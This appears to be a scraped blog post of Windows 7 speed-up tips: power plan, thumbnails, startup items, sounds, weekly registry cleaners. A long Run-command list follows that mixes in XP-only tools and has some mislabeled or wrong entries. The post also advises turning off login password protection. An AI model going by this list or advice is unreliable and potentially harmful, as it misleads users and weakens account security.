If you have followed step 3 then Aero Peek will be automatically disabled. If not,

The aero peek feature will now be disabled in windows 7.

Change the Power Plan To Maximum Performance

1. Double click the ” Power Options ” in the Control panel.
2. Click the down arrow showing ” Show Additional Plans ” to see the ” High Performance ” power plan.
3. Now just activate the ” High Performance ” plan and that’s it.
4. You may go for the advanced settings for further tweaking if you want.

The Power settings in Windows 7 is not automatically set for maximum performance. By default the power plan in Windows 7 is set for a balanced performance with energy consumption on hardware. So you may not get the optimal performance from windows 7 if this is the case. So we need to change the power plan to High Performance Mode.

Disable the Thumbnail Preview Feature to speed up File browsing in Windows 7

1. Double Click on ” Computer ” >click on the “Organize” drop-down menu and select the “Folder and Search options”
2. Under ‘Files and Folders’ section, go to the “View” tab and tick the check box showing “Always show icons, never thumbnails” checkbox.

The thumbnail preview feature in Windows 7 will show the small thumbnails of the contents of a folder instead of showing it’s icon. But this feature really do take up some system resources. So by disabling the Thumbnail Preview feature in Windows 7 the file browsing in Windows 7 explorer can be speed up.

For disabling thumbnails in Windows 7,

Most Essential Softwares To Speed Up Windows 7

1. Wise Registry Cleaner
2. CCleaner
3. TCP Optimizer
4. TeraCopy
5. Startup Delayer

In order to maintain your Windows 7 Performance and keep it up in Top Shape there are some very essential software’s that can help us to Speed Windows 7. I will list some of them here. You can download these utilities. But i remind you that you need to run these utilities at least once in a week. Only if you do it regularly your Windows 7 will be in top shape every day.

Turn OFF Windows 7 Password Protection To save a few More Seconds!!!

If you have set a password for accessing your user account in windows 7, then you need to enter it each and every time you logon to windows. Logging into windows automatically without entering any password will save you a few seconds more. If you are the only person who use your computer then i would recommend to turn this off. If that is not the case you can skip this step.

Turn OFF Windows 7 Screen Saver and Wallpaper

1. Right click on desktop and choose “Personalize”.
2. Click the Screen Saver link ” From the Screen Saver drop down menu, Set it to “None” and click “Apply” and then “OK”.
3. Now click on “Desktop Background” link.
4. From the “Location” drop down menu select “Solid Colors” and pick one color and click “OK”.

In order to display the wallpaper and screen saver the system needs some memory. So by disabling those two we can save a few Mega Bytes of memory.

To Disable The Screen Saver and Wallpaper in Windows 7,

Disable Unwanted Start Up Items and Speed Up Windows 7 Start Up

1. Type ” msconfig ” in the “RUN” option from start menu press [Enter] to open up the System Configuration Utility.
2. Now navigate to the “StartUp” tab.
3. Untick the Entries which are not needed.

This really matters when you have installed a lot of softwares on your PC. Many software such as AcdSee will run services such as device detector etc during the system start up. These are of no use actually for most windows users. So preventing such services from starting up during the start up of windows 7 can result in quicker start Ups. This will actually save some seconds during windows 7 start up.

Disable Unwanted System Sounds in Windows 7

1. Type mmsys.cpl in RUN From the Windows 7 Startmenu search box and press [Enter].
2. Navigate to the “Sounds” tab.
3. Now from under “Sound Scheme:” select “No Sounds” > Click “Apply” > “OK”.
4. You can keep some of your favorite sounds turned on if you want, but sounds played during the Windows 7 start up, shutdown, Logon, logoff, start navigation etc should be set to none if you want some real speed boost.
[/list]

In order to play the sounds you hear in windows 7, system resources are being utilized. So if you can disable these sound effects you can gain some speed and also free some system resources too.

To disable the system sounds in Windows 7,

Thats it following all these steps will certainly boost the speed and performance of your windows 7 operating system.

Run Menu

Accessibility Controls >> access.cpl

Add Hardware Wizard >> hdwwiz.cpl

Add/Remove Programs >> appwiz.cpl

Administrative Tools control >> admintools

Automatic Updates >> wuaucpl.cpl

Bluetooth Transfer Wizard >> fsquirt

Calculator >> calc

Certificate Manager >> certmgr.msc

Character Map >> charmap

Check Disk Utility >> chkdsk

Clipboard Viewer >> clipbrd

Command Prompt >> cmd

Component Services >> dcomcnfg

Computer Management >> compmgmt.msc

timedate.cpl >> ddeshare

Device Manager >> devmgmt.msc

Direct X Control Panel (If Installed)* >> directx.cpl

Direct X Troubleshooter >> dxdiag

Disk Cleanup Utility >> cleanmgr

Disk Defragment >> dfrg.msc

Disk Management >> diskmgmt.msc

Disk Partition Manager >>diskpart

Display Properties >> control desktop

Display Properties >> desk.cpl

Display Properties (w/Appearance Tab Preselected) >> control color

Dr. Watson System Troubleshooting Utility >> drwtsn32

Driver Verifier Utility >> verifier

Event Viewer >> eventvwr.msc

File Signature Verification Tool >> sigverif

Findfast >> findfast.cpl

Folders Properties >> control folders

Fonts control >> fonts

Fonts Folder >> fonts

Free Cell Card Game >> freecell

Game Controllers >> joy.cpl

Group Policy Editor (XP Prof) >> gpedit.msc

Hearts Card Game >> mshearts

Iexpress Wizard >> iexpress

Indexing Service >> ciadv.msc

Internet Properties >> inetcpl.cpl

IP Configuration (Display Connection Configuration) >> ipconfig /all

IP Configuration (Display DNS Cache Contents) >> ipconfig

IP Configuration (Delete DNS Cache Contents) >> ipconfig /flushdns

IP Configuration (Release All Connections) >> ipconfig /release

IP Configuration (Renew All Connections) >> ipconfig /renew

IP Configuration (Refreshes DHCP & Re-Registers DNS) >> ipconfig

IP Configuration (Display DHCP Class ID) >> ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID) >> ipconfig /setclassid

Java Control Panel (If Installed) >> jpicpl32.cpl

Java Control Panel (If Installed) >> javaws

Keyboard Properties >> control keyboard

Local Security Settings >> secpol.msc

Local Users and Groups >> lusrmgr.msc

Logs You Out Of Windows >> logoff

Microsoft Chat >> winchat

Minesweeper Game >> winmine

Mouse Properties >> control mouse

Mouse Properties >> main.cpl

Network Connections >> control netconnections

Network Connections >> ncpa.cpl

Network Setup Wizard >> netsetup.cpl

Notepad >> notepad

Nview Desktop Manager (If Installed) >> nvtuicpl.cpl

Object Packager >> packager

ODBC Data Source Administrator >> odbccp32.cpl

On Screen Keyboard >> osk

Opens AC3 Filter (If Installed) >> ac3filter.cpl

Password Properties >> password.cpl

Performance Monitor >> perfmon.msc

Performance Monitor >> perfmon

Phone and Modem Options >> telephon.cpl

Power Configuration >> powercfg.cpl

Printers and Faxes >> control printers

Printers Folder >> printers

Private Character Editor >> eudcedit

Quicktime (If Installed) >> QuickTime.cpl

Regional Settings >> intl.cpl

Registry Editor >> regedit

Registry Editor >> regedit32

Remote Desktop >> mstsc

Removable Storage >> ntmsmgr.msc

Removable Storage Operator Requests >> ntmsoprq.msc

Resultant Set of Policy (XP Prof) >> rsop.msc

Scanners and Cameras >> sticpl.cpl

Scheduled Tasks control >> schedtasks

Security Center >> wscui.cpl

Services >> services.msc

Shared Folders >> fsmgmt.msc

Shuts Down Windows >> shutdown

Sounds and Audio >> mmsys.cpl

SQL Client Configuration >> cliconfg

System Configuration Editor >> sysedit

System Configuration Utility >> msconfig

System File Checker Utility (Scan Immediately) >> sfc /scannow

System File Checker Utility (Scan Once @Next Boot) >> sfc /scanonce

System File Checker Utility (Scan On Every Boot) >> sfc /scanboot

System File Checker Utility (Return to Default Setting) >> sfc /revert

System File Checker Utility (Purge File Cache) >> sfc /purgecache

System File Checker Utility (Set Cache Size to size x) >> sfc /cachesize=x

System Properties >> sysdm.cpl

Task Manager >> taskmgr

Telnet Client >> telnet

User Account Management >> nusrmgr.cpl

Utility Manager >> utilman

Windows Firewall >> firewall.cpl

Windows Magnifier >> magnify

Windows Management Infrastructure >> wmimgmt.msc

Windows System Security Tool >> syskey

Windows Update Launches >> wupdmgr

Windows XP Tour Wizard >> tourstart

Wordpad >> write



credit to breakers